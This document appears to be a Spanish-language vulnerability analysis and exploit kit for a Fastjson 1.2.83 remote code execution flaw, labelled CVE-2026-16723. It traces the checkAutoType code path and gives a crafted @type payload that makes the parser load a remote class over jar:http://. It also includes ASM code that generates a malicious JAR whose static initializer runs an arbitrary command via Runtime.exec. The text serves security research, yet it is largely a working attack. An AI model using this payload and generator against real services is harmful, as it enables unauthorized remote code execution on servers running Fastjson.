Análisis detallado de CVE-2026-16723 y kit de explotación para la RCE de Fastjson 1.2.83, que cubre rutas de código vulnerables, generación de JAR/bytecode malicioso y un entorno Docker Compose para reproducir el ataque.
Descargo de responsabilidad: este proyecto se proporciona únicamente para investigación de seguridad y aprendizaje en entornos autorizados. Está prohibido realizar pruebas en sistemas no autorizados; las consecuencias del uso corren por cuenta exclusiva del usuario.
CVSS 9.0, afecta a Fastjson 1.2.68 ~ 1.2.83. No es necesario habilitar AutoType, no se requieren Gadgets de terceros, se puede explotar con la configuración predeterminada.
El punto de entrada de la vulnerabilidad se encuentra en com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Independientemente de si se llama a JSON.parse(body) o a JSON.parseObject(body, Foo.class), en última instancia se entra en este método.
Ruta de código clave (fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
El interruptor de AutoType (autoTypeSupport) solo controla ① si se entra, pero ② la detección de anotaciones se ejecuta incondicionalmente. En cuanto jsonType en ② se vuelve true, ③ la carga de tipos y ④ el omisión de la verificación de seguridad se activarán sucesivamente.
String resource = typeName.replace('.', '/') + ".class";
typeName es el valor de @type en el JSON, completamente controlable por el atacante. La intención original era convertir com.example.Foo en com/example/Foo.class, pero cuando la entrada es una URL, esto se convierte en un constructor de URL.
Debido a que los . en el hostname también se reemplazan, el atacante utiliza una IP entera para evadirlo. El entero sin signo de 32 bits de 127.0.0.1 es 2130706433:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //, .probe! → /probe!/, obteniendo un localizador de recursos jar:http:// válido.
is = defaultClassLoader.getResourceAsStream(resource);
Que getResourceAsStream pueda resolver jar:http:// como un recurso remoto depende completamente del tipo de ClassLoader:
| ClassLoader | Comportamiento |
|---|---|
JDK AppClassLoader | Solo busca en el classpath local → null |
Tomcat WebappClassLoader (WAR independiente) | Solo busca en WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader (fat-JAR) | Admite jar:http:// → sale por HTTP para descargar el bytecode |
Aquí hay un punto que se presta a confusión: cuando Spring Boot incorpora Tomcat, el ClassLoader de las clases de la aplicación es LaunchedURLClassLoader y no WebappClassLoader. Por lo tanto, Tomcat/Jetty/Undertow embebidos quedan dentro del alcance afectado.
Cuando is != null, el bytecode de la clase remota alojada por el atacante ya ha entrado en la memoria de la JVM.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson utiliza ASM para escanear el bytecode y comprobar si contiene la anotación @com.alibaba.fastjson.annotation.JSONType. La intención de diseño era la optimización del rendimiento: identificar rápidamente los tipos gestionados por Fastjson mediante la anotación. Sin embargo, aquí solo se comprueba si la anotación existe, no se valida el origen del bytecode, no se verifica el nombre de la clase ni se restringe la procedencia. Basta con que la clase remota del atacante lleve @JSONType para obtener la determinación jsonType=true.
Nótese que catch (Exception e) {} está vacío: el atacante no recibirá ningún error.
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true cumple la condición. loadClass sigue el flujo estándar de carga de clases, registrando el bytecode como un objeto Class de la JVM mediante defineClass.
Es necesario distinguir dos conceptos: defineClass completa la definición de la clase (registro en la JVM), mientras que <clinit> se ejecuta en la fase de inicialización de la clase. Ambas fases pueden completarse dentro de la misma solicitud, pero según la especificación de la JVM son independientes.
if (jsonType) {
return clazz;
}
Esta línea omite todas las defensas posteriores:
ClassLoader/DataSource/RowSetdenyListexpectClass.isAssignableFrom(clazz)Esto también explica por qué parseObject(body, Dto.class) no puede prevenirlo: la verificación de vinculación de tipos ocurre después de la carga de clases, mientras que el código de ataque ya se ha ejecutado en la fase de carga.
El atacante necesita generar un archivo de bytecode que cumpla tres condiciones: portar la anotación @JSONType, incrustar el código de ataque en <clinit>, y ser alojado a través de HTTP.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
La lógica maliciosa se activa mediante <clinit>, y se ejecuta en cuanto la clase se carga.